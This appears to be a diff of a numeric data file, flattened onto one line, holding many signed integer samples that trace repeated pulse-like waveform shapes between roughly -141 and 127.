--1 --1 --1 --1 --1 -0 --1 -0 -1 -1 -1 -0 -1 -1 -1 -2 -0 -0 --1 --2 -0 -1 -0 -0 -0 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -3 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -0 -0 -0 -2 -1 -1 -0 -2 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -1 -2 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -0 -0 -0 -1 -2 -1 -0 -1 -1 -2 -1 -1 -2 -2 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -1 -0 -0 -1 -1 -0 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -3 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -126 -122 -118 -114 -109 -105 -98 -93 -86 -80 -73 -68 -62 -57 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -18 -16 -16 -14 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --87 --66 --77 --56 --66 +-15 +-14 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-18 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-98 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-100 +-109 +-102 +-80 +-91 +-70 +-81 +-76 +-73 +-69 +-65 -62 --58 --55 --51 --47 +-59 +-57 +-53 +-50 +-48 +-46 -44 -42 --39 --36 +-40 +-38 +-37 -34 +-33 -32 --30 +-31 +-29 -28 +-27 -26 +-26 +-25 -24 -23 +-22 -21 +-21 +-20 +-20 +-19 +-19 +-19 -19 -18 +-18 +-18 +-18 +-17 +-17 -17 -16 +-16 +-15 +-16 +-16 +-15 +-14 +-15 +-15 +-15 +-14 +-14 +-15 +-14 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-11 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 -14 -13 -13 -12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -133 -126 -122 -118 -115 -112 -106 -102 -96 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +110 +108 +104 +100 +95 90 84 78 71 -65 +66 59 -54 -49 -46 +53 +47 42 -39 -36 -34 -31 -29 -27 -24 -22 -21 -19 -17 -16 -15 -13 -13 -11 -10 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --78 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --92 --84 --94 --87 --66 --77 --55 --66 --63 --59 --55 --51 --48 --45 --41 --38 --36 --34 --32 --29 --27 --25 --23 --22 --20 --19 --18 --17 --15 --14 --13 --12 --11 --10 --10 --9 --8 --8 --7 --7 --6 --6 --5 --5 --5 --4 --4 --4 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --2 --1 --1 --1 --1 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -0 -0 -0 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -0 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -0 -0 -1 -0 -1 -1 -1 -1 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -125 -122 -118 -114 -109 -104 -98 -92 -85 -80 -73 -67 -62 -57 -52 -48 -44 -40 37 -34 -31 +33 29 26 -25 23 -21 20 18 -17 -16 -14 +15 13 -12 11 -10 9 8 -7 -7 6 -6 -5 -4 4 3 2 -2 -2 -2 -1 -1 -1 -0 -0 -0 0 -1 --1 -2 --1 --2 --2 --2 --2 --3 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --3 --3 --3 --3 -3 -4 --3 --4 --4 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --3 --4 --3 --3 --3 --3 --3 --4 --3 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --95 --89 --66 --77 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-99 +-108 +-101 +-79 +-90 +-70 +-81 +-76 +-72 +-69 +-65 +-62 +-58 -56 --68 --63 --59 --55 --52 +-53 +-50 -48 -45 +-44 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +-25 +-24 +-23 +-23 +-23 +-21 +-20 +-20 +-20 +-19 +-19 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-15 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-14 +-14 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +115 +110 +108 +104 +100 +95 +91 +84 +79 +71 +65 +58 +53 +47 +42 +38 +34 +29 +26 +23 +20 +18 +15 +12 +11 +8 +7 +5 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-101 +-80 +-91 +-70 +-81 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 -42 -39 -37 +-36 -34 +-33 +-32 -31 -29 -28 +-27 -26 --24 +-26 +-25 +-23 +-23 +-22 -22 -21 --19 --18 --17 --16 --14 --14 --13 --12 --11 --10 --9 --8 --8 --7 --6 --6 --5 --5 --5 --5 --4 --3 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --1 -0 -0 -0 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -3 -2 -2 -2 -2 -1 -2 -1 -1 -1 -0 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -0 -1 -0 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -124 -122 -118 -114 -110 -104 -98 -93 -86 -80 -73 -67 -61 -56 -51 -47 -43 -40 -37 -34 -31 -29 -26 -25 -23 -21 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -4 -4 -4 -3 -3 -2 -2 -2 -1 -1 -1 -0 -0 -0 --1 --1 --2 --2 --2 --2 --2 --3 --3 --3 --3 --3 --3 --3 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --4 --4 --4 --3 --3 --3 --3 --3 --4 --4 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --4 --4 --3 --3 --2 --3 --3 --3 --3 --3 --3 --4 --3 --4 --4 --4 --4 --4 --4 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --88 --83 --78 --57 --68 --63 --59 --56 --51 --48 --45 --42 --39 --36 --34 --32 --30 --28 --26 --24 --23 +-20 +-20 -20 -19 -18 +-18 +-19 +-18 -17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-16 +-15 +-16 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-14 -15 -14 -13 -13 +-13 +-14 +-13 +-13 +-13 +-13 -12 --11 --10 --10 --10 --8 --8 --8 --7 --6 --6 --5 --5 --5 --4 --4 --3 --3 --2 --2 --2 --2 --1 --2 --1 --1 -0 --1 -0 -0 -1 -0 -0 -0 -1 -1 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -0 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -121 -117 -114 -109 -105 -99 -93 -86 -80 -73 -67 -61 -56 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-14 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +115 +110 +107 +104 +100 +95 +90 +84 +78 +72 +66 +59 52 -48 -44 -40 +46 +42 37 -34 -31 +33 29 26 -25 22 -20 19 -18 -16 +17 15 -14 13 11 -10 -10 9 8 -7 -6 6 5 -4 -4 3 --80 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-18 +-17 +-17 +-17 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-17 +-17 -98 --92 --84 --93 --87 --66 --77 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-98 +-108 +-102 +-97 +-91 +-70 +-82 +-78 +-74 +-69 +-65 +-62 +-58 -55 --66 --63 --59 --55 --51 +-52 +-50 -48 -45 +-44 -42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-26 +-25 +-24 +-23 +-22 +-22 +-22 +-21 +-20 +-20 +-20 +-20 +-19 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-14 +-13 +-14 +-14 +-15 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 